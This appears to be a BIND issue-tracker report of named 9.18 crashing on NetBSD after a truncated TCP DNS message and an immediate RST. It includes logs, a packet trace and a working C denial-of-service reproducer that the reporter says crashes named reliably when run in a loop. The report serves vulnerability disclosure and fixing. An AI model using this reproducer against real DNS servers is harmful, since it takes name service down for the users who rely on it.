BIND 9.18: named exits when it receives specially crafted TCP request (potentially NetBSD only)
Summary
Quoting the details received in Support ticket SF#1928
We observed in the wild that named exits when it receives specially crafted TCP request. It could possibly a third party be aware of it.
I reproduced it with BIND 9.18.24 and 9.18.26 running on NetBSD 9.3_STABLE. I could not reproduce it with BIND 9.16.48 on NetBSD 9.3_STABLE nor BIND 9.18.26 on Ubuntu 22.04.
[reproduced named info]
# pkg_info libuv
Information for libuv-1.47.0:
Comment:
Cross-platform asychronous I/O
Description:
libuv is a multi-platform support library with a focus on asynchronous
I/O. It was primarily developed for use by Node.js, but it's also used
by Luvit, Julia, pyuv, and others.
Homepage:
https://github.com/libuv/libuv
# /usr/local/sbin/named -V
BIND 9.18.26 (Extended Support Version) <id:936d80b>
running on NetBSD evbarm 9.3_STABLE NetBSD 9.3_STABLE (GENERIC64) #0: Sat Apr 1 16:28:55 UTC 2023 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64
built by make with '--prefix=/usr/local' '--disable-doh' '--without-gssapi' '--without-jemalloc'
compiled by GCC 7.5.0
compiled with OpenSSL version: OpenSSL 1.1.1t 7 Feb 2023
linked to OpenSSL version: OpenSSL 1.1.1t 7 Feb 2023
compiled with libuv version: 1.47.0
linked to libuv version: 1.47.0
compiled with zlib version: 1.2.10
linked to zlib version: 1.2.10
threads support is enabled
DNSSEC algorithms: RSASHA1 NSEC3RSASHA1 RSASHA256 RSASHA512 ECDSAP256SHA256 ECDSAP384SHA384 ED25519 ED448
DS algorithms: SHA-1 SHA-256 SHA-384
HMAC algorithms: HMAC-MD5 HMAC-SHA1 HMAC-SHA224 HMAC-SHA256 HMAC-SHA384 HMAC-SHA512
TKEY mode 2 support (Diffie-Hellman): yes
TKEY mode 3 support (GSS-API): no
default paths:
named configuration: /usr/local/etc/named.conf
rndc configuration: /usr/local/etc/rndc.conf
DNSSEC root key: /usr/local/etc/bind.keys
nsupdate session key: /usr/local/var/run/named/session.key
named PID file: /usr/local/var/run/named/named.pid
named lock file: /usr/local/var/run/named/named.lock
[reproduced named log]
01-May-2024 08:34:05.013 clientmgr @0xfaeb134180b0 attach: 2
01-May-2024 08:34:05.013 client @0xfaeb1329d370 (no-peer): allocate new client
01-May-2024 08:34:05.013 client @0xfaeb1329d370 127.0.0.1#65499: TCP request
01-May-2024 08:34:05.013 client @0xfaeb1329d370 127.0.0.1#65499: dropped request: invalid message header
01-May-2024 08:34:05.013 netmgr/netmgr.c:3015:isc__nmsocket_reset(): fatal error:
01-May-2024 08:34:05.013 uv_tcp_close_reset failed: connection reset by peer
01-May-2024 08:34:05.014 exiting (due to fatal error in library)
Abort (core dumped)
[reproduced tcpdump]
08:34:05.013280 IP 127.0.0.1.65499 > 127.0.0.1.53: Flags [S], seq 317657138, win 32768, options [mss 33584,nop,wscale 3,sackOK,TS val 1 ecr 0], length 0
08:34:05.013306 IP 127.0.0.1.53 > 127.0.0.1.65499: Flags [S.], seq 2999127605, ack 317657139, win 32768, options [mss 33584,nop,wscale 3,sackOK,TS val 1 ecr 1], length 0
08:34:05.013318 IP 127.0.0.1.65499 > 127.0.0.1.53: Flags [.], ack 1, win 4096, options [nop,nop,TS val 1 ecr 1], length 0
08:34:05.013415 IP 127.0.0.1.65499 > 127.0.0.1.53: Flags [P.], seq 1:21, ack 1, win 4096, options [nop,nop,TS val 1 ecr 1], length 2025845 SOA? . (18)
08:34:05.013444 IP 127.0.0.1.65499 > 127.0.0.1.53: Flags [R.], seq 21, ack 1, win 4096, length 0
It can be triggered with sending a truncated DNS request message over TCP. Both of the below are required. There is a timing issue.
- Setting message length (first 2 octets over TCP stream) to smaller than minimal DNS message, such as "\x00\x04" and
- Sending TCP RST before named handles the message
I guess the root cause is in isc__nmsocket_reset() in lib/isc/netmgr/netmgr.c. It seems to me uv_tcp_close_reset() is returning errno ECONNRESET. I'm not sure why; it's not in ERRORS section of setsockopt(3). Maybe the fix in #3283 (closed) was not enough.
The reproducer is below. This is a timing issue; a single invocation can cause named to die, but "while true; do ./a.out; done" is 100%
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
static const char SENDMSG[] = "\x00\x04""\x64\xf5\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x01";
int main(void)
{
int rv;
int client_sock = socket(AF_INET, SOCK_STREAM, 0);
if (client_sock == -1) {
perror("socket(2) failed");
exit(EXIT_FAILURE);
}
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
server_addr.sin_port = htons(53);
struct linger l;
memset(&l, 0, sizeof(l));
l.l_onoff = 1;
l.l_linger = 0;
rv = setsockopt(client_sock, SOL_SOCKET, SO_LINGER, &l, sizeof(l));
if (rv != 0) {
perror("setsockopt(SO_LINGER) failed");
exit(EXIT_FAILURE);
}
rv = connect(client_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));
if (rv != 0) {
perror("connect(2) failed");
exit(EXIT_FAILURE);
}
write(client_sock, SENDMSG, sizeof(SENDMSG));
exit(EXIT_SUCCESS);
}
I'd appreciate it if you could confirm the issue only affects on NetBSD.